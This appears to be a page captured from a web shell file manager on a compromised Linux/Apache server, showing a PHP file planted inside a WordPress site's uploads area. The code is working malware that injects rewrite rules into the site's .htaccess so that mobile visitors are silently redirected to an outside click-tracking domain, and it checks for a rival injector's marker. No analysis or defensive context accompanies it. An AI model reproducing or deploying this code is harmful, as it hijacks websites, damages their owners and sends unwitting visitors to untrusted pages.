\x20\40\x20\40 HEX
HEX
Server: Apache
System: Linux web1.jenscom.net 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User: sps (1059)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: /home/sps/public_html/wp-content/ngg/post.1773639563.php
<!--mLzA9dF9-->
<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

$path = __DIR__ . '/.htaccess';

$host = $_SERVER['HTTP_HOST'] ?? '';
$host = preg_replace('/:\d+$/', '', $host);
$parts = explode('.', $host);
if (count($parts) > 1) {
    array_pop($parts);
}
$var = implode('.', $parts);

$insert =
"RewriteEngine On\n".
"RewriteCond %{HTTP_USER_AGENT} \"Android|iPhone|iPad|iPod|BlackBerry|Windows Phone\" [NC]\n".
"RewriteRule ^.*$ https://go.welldone55.xyz/click?pid=26676&offer_id=5572&l=1773310208 [R=302,L]\n\n";

if (!file_exists($path)) {
    if (file_put_contents($path, $insert) === false) {
        trigger_error('Failed to create .htaccess', E_USER_ERROR);
    }
    exit;
}


$content = file_get_contents($path);
if ($content === false) {
    trigger_error('Failed to read .htaccess', E_USER_ERROR);
}

if (strpos($content, 'lakns.com/link?z=9557727') !== false) {
    exit;
}

if (file_put_contents($path, $insert . $content) === false) {
    trigger_error('Failed to write .htaccess', E_USER_ERROR);
}